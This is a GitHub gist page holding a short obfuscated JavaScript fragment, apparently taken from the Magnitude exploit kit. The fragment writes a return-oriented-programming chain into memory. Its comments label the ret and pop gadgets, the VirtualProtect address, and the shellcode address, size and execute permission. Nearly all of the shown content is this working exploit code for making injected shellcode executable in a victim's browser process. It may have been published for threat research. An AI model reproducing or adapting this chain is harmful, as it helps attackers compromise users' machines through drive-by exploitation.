Skip to content

Instantly share code, notes, and snippets.

@tahaconfiant

tahaconfiant/magnitude32_rop.js

Created July 8, 2020 12:48
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save tahaconfiant/538d984c623a2a95f8c51b35ff9c5615 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save tahaconfiant/538d984c623a2a95f8c51b35ff9c5615 to your computer and use it in GitHub Desktop.
Download ZIP
magnitude32_rop
Raw
magnitude32_rop.js
kZ065np7(PK4968+4,wnU86O+1); // rop gadget: ret
kZ065np7(PK4968+32,wnU86O); // rop gadget: pop eax; ret
kZ065np7(PK4968+36,wnU86O+1); // rop gadget: ret
kZ065np7(PK4968+40,J56m55);// / virtual Protect Address
kZ065np7(PK4968+44,aRc3wLj+u647wRR6); //// virtual protect return address (address shellcode)
kZ065np7(PK4968+48,aRc3wLj+u647wRR6); ////lpAddress(address shellcode)
kZ065np7(PK4968+52,(V9INZ9t.length*P7661n8l1));//dwSize (shellcode size)
kZ065np7(PK4968+56,0x20);// flNewProtect PAGE_EXECUTION_READ
kZ065np7(PK4968+60,PK4968-0x1000);// flOldProtect
kZ065np7(Gf8770861L,PK4968);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment